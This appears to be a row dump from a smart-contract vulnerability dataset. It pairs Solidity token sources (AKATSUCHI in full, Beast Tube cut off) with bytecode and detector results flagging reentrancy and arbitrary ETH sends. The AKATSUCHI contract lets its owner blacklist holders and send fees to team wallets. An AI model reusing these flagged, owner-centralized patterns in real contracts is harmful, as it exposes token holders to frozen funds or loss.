00160a060020a0383161515610d5157600080fd5b33600090815260036020526040902054821115610d6d57600080fd5b600160a060020a038416600090815260036020526040902054610d96908363ffffffff610d1216565b600160a060020a038086166000908152600360205260408082209390935590851681522054610dcb908363ffffffff610d2416565b600160a060020a0380851660008181526003602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600193925050505600a165627a7a723058204242c287b4d85cfdb1939183cc94e8f29dc72bad2a2793116353e9cb921745e10029 | {"success": true, "error": null, "results": {}} | 10,522 |
0xa12d45634449e72fa3d3bf0aad301101c05ea5cb | /**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/akatsuchiETH
Twitter: https://twitter.com/akatsuchiETH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AKATSUCHI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Akatsuchi";
string private constant _symbol = "AKATSUCHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a1578063d94160e0146104b6578063dd62ed3e146104e6578063f42938901461052c57600080fd5b8063b515566a14610441578063c024666814610461578063c0a904a21461048157600080fd5b8063715018a61461037c57806381bfdcca1461039157806389f425e7146103b15780638da5cb5b146103d157806395d89b41146103ef578063a9059cbb1461042157600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ec5780635932ead11461031c578063677daa571461033c57806370a082311461035c57600080fd5b8063313ce5671461028357806349bd5a5e1461029f57806351bc3c85146102d757600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f557806318160ddd1461022557806323b872dd14610241578063273123b71461026157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b50604080518082019091526009815268416b6174737563686960b81b60208201525b6040516101b19190611d07565b34801561020157600080fd5b50610215610210366004611b98565b610541565b60405190151581526020016101b1565b34801561023157600080fd5b50683635c9adc5dea000006101a7565b34801561024d57600080fd5b5061021561025c366004611b2b565b610558565b34801561026d57600080fd5b5061028161027c366004611abb565b6105c1565b005b34801561028f57600080fd5b50604051600981526020016101b1565b3480156102ab57600080fd5b506011546102bf906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e357600080fd5b50610281610615565b3480156102f857600080fd5b50610215610307366004611abb565b60056020526000908152604090205460ff1681565b34801561032857600080fd5b50610281610337366004611c8a565b61064e565b34801561034857600080fd5b50610281610357366004611cc2565b610696565b34801561036857600080fd5b506101a7610377366004611abb565b6106c5565b34801561038857600080fd5b506102816106e7565b34801561039d57600080fd5b506102816103ac366004611cc2565b61075b565b3480156103bd57600080fd5b506102816103cc366004611cc2565b61078a565b3480156103dd57600080fd5b506000546001600160a01b03166102bf565b3480156103fb57600080fd5b50604080518082019091526009815268414b4154535543484960b81b60208201526101e8565b34801561042d57600080fd5b5061021561043c366004611b98565b6107b9565b34801561044d57600080fd5b5061028161045c366004611bc3565b6107c6565b34801561046d57600080fd5b5061028161047c366004611b6b565b61086a565b34801561048d57600080fd5b5061028161049c366004611b6b565b6108bf565b3480156104ad57600080fd5b50610281610914565b3480156104c257600080fd5b506102156104d1366004611abb565b60066020526000908152604090205460ff1681565b3480156104f257600080fd5b506101a7610501366004611af3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053857600080fd5b50610281610cff565b600061054e338484610d29565b5060015b92915050565b6000610565848484610e4d565b6105b784336105b285604051806060016040528060288152602001611ed8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611293565b610d29565b5060019392505050565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611d5a565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063557600080fd5b6000610640306106c5565b905061064b816112cd565b50565b6000546001600160a01b031633146106785760405162461bcd60e51b81526004016105eb90611d5a565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c05760405162461bcd60e51b81526004016105eb90611d5a565b601255565b6001600160a01b03811660009081526002602052604081205461055290611472565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105eb90611d5a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016105eb90611d5a565b601355565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105eb90611d5a565b600b55565b600061054e338484610e4d565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016105eb90611d5a565b60005b81518110156108665760016007600084848151811061082257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085e81611e6d565b9150506107f3565b5050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016105eb90611d5a565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e95760405162461bcd60e51b81526004016105eb90611d5a565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b81526004016105eb90611d5a565b601154600160a01b900460ff16156109985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105eb565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d53082683635c9adc5dea00000610d29565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0e57600080fd5b505afa158015610a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a469190611ad7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8e57600080fd5b505afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611ad7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611ad7565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610baa816106c5565b600080610bbf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c5b9190611cda565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc757600080fd5b505af1158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611ca6565b600e546001600160a01b0316336001600160a01b031614610d1f57600080fd5b4761064b816114f6565b6001600160a01b038316610d8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610dec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610f135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b80610f1d846106c5565b1015610f7a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105eb565b6000546001600160a01b03848116911614801590610fa657506000546001600160a01b03838116911614155b15611283576001600160a01b03831660009081526007602052604090205460ff16158015610fed57506001600160a01b03821660009081526007602052604090205460ff16155b610ff657600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104f57506011546001600160a01b03848116911614801561104f57506001600160a01b03821660009081526006602052604090205460ff16155b156110bc576012548111156110bc5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105eb565b6001600160a01b03821660009081526006602052604090205460ff1661115557601354816110e9846106c5565b6110f39190611dff565b11156111555760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105eb565b6011546001600160a01b03848116911614801561118057506010546001600160a01b03838116911614155b80156111a557506001600160a01b03821660009081526005602052604090205460ff16155b80156111ba5750601154600160b81b900460ff165b15611208576001600160a01b03821660009081526008602052604090205442116111e357600080fd5b6111ee42603c611dff565b6001600160a01b0383166000908152600860205260409020555b6000611213306106c5565b601154909150600160a81b900460ff1615801561123e57506011546001600160a01b03858116911614155b80156112535750601154600160b01b900460ff165b80156112615750600b548110155b156112815761126f816112cd565b47801561127f5761127f476114f6565b505b505b61128e83838361157b565b505050565b600081848411156112b75760405162461bcd60e51b81526004016105eb9190611d07565b5060006112c48486611e56565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137757600080fd5b505afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611ad7565b816001815181106113d057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f69130911684610d29565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d8f565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006114e3611586565b90506114ef83826115a9565b9392505050565b600e546001600160a01b03166108fc6115108360026115a9565b6040518115909202916000818181858888f19350505050158015611538573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115538360026115a9565b6040518115909202916000818181858888f19350505050158015610866573d6000803e3d6000fd5b61128e8383836115eb565b60008060006115936117ab565b90925090506115a282826115a9565b9250505090565b60006114ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ed565b6000806000806000806115fd8761181b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162f9087611878565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167a57506001600160a01b03881660009081526005602052604090205460ff165b15611703576001600160a01b0388166000908152600260205260409020546116a290876118ba565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f6908b815260200190565b60405180910390a36117a0565b6001600160a01b03881660009081526002602052604090205461172690866118ba565b6001600160a01b03891660009081526002602052604090205561174881611919565b6117528483611963565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179791815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c782826115a9565b8210156117e457505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180e5760405162461bcd60e51b81526004016105eb9190611d07565b5060006112c48486611e17565b60008060008060008060008060006118388a600c54600d54611987565b9250925092506000611848611586565b9050600080600061185b8e8787876119dc565b919e509c509a509598509396509194505050505091939550919395565b60006114ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611293565b6000806118c78385611dff565b9050838110156114ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b6000611923611586565b905060006119318383611a2c565b3060009081526002602052604090205490915061194e90826118ba565b30600090815260026020526040902055505050565b6009546119709083611878565b600955600a5461198090826118ba565b600a555050565b60008080806119a1606461199b8989611a2c565b906115a9565b905060006119b4606461199b8a89611a2c565b905060006119cc826119c68b86611878565b90611878565b9992985090965090945050505050565b60008080806119eb8886611a2c565b905060006119f98887611a2c565b90506000611a078888611a2c565b90506000611a19826119c68686611878565b939b939a50919850919650505050505050565b600082611a3b57506000610552565b6000611a478385611e37565b905082611a548583611e17565b146114ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b8035611ab681611eb4565b919050565b600060208284031215611acc578081fd5b81356114ef81611eb4565b600060208284031215611ae8578081fd5b81516114ef81611eb4565b60008060408385031215611b05578081fd5b8235611b1081611eb4565b91506020830135611b2081611eb4565b809150509250929050565b600080600060608486031215611b3f578081fd5b8335611b4a81611eb4565b92506020840135611b5a81611eb4565b929592945050506040919091013590565b60008060408385031215611b7d578182fd5b8235611b8881611eb4565b91506020830135611b2081611ec9565b60008060408385031215611baa578182fd5b8235611bb581611eb4565b946020939093013593505050565b60006020808385031215611bd5578182fd5b823567ffffffffffffffff80821115611bec578384fd5b818501915085601f830112611bff578384fd5b813581811115611c1157611c11611e9e565b8060051b604051601f19603f83011681018181108582111715611c3657611c36611e9e565b604052828152858101935084860182860187018a1015611c54578788fd5b8795505b83861015611c7d57611c6981611aab565b855260019590950194938601938601611c58565b5098975050505050505050565b600060208284031215611c9b578081fd5b81356114ef81611ec9565b600060208284031215611cb7578081fd5b81516114ef81611ec9565b600060208284031215611cd3578081fd5b5035919050565b600080600060608486031215611cee578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3357858101830151858201604001528201611d17565b81811115611d445783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dde5784516001600160a01b031683529383019391830191600101611db9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1257611e12611e88565b500190565b600082611e3257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5157611e51611e88565b500290565b600082821015611e6857611e68611e88565b500390565b6000600019821415611e8157611e81611e88565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064b57600080fd5b801515811461064b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c76e34f3933aa29413019f8ae45d32e0e093a9604b59d1a43d954dadddf8d4d764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,523 |
0x2f272d5d4002c0300dd418162e6a14965fc60ddd | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BestTube is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cooldown;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
string private constant _name = "Beast Tube";
string private constant _symbol = "BTUBE";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1e18 * (10**_decimals);
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private tradingActiveBlock = 0;
uint256 private blocksToBlacklist = 10;
uint256 private _buyProjectFee = 3;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 3;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyCharityFee = 2;
uint256 private _previousBuyCharityFee = _buyCharityFee;
uint256 private _buyDevelopmentFee = 1;
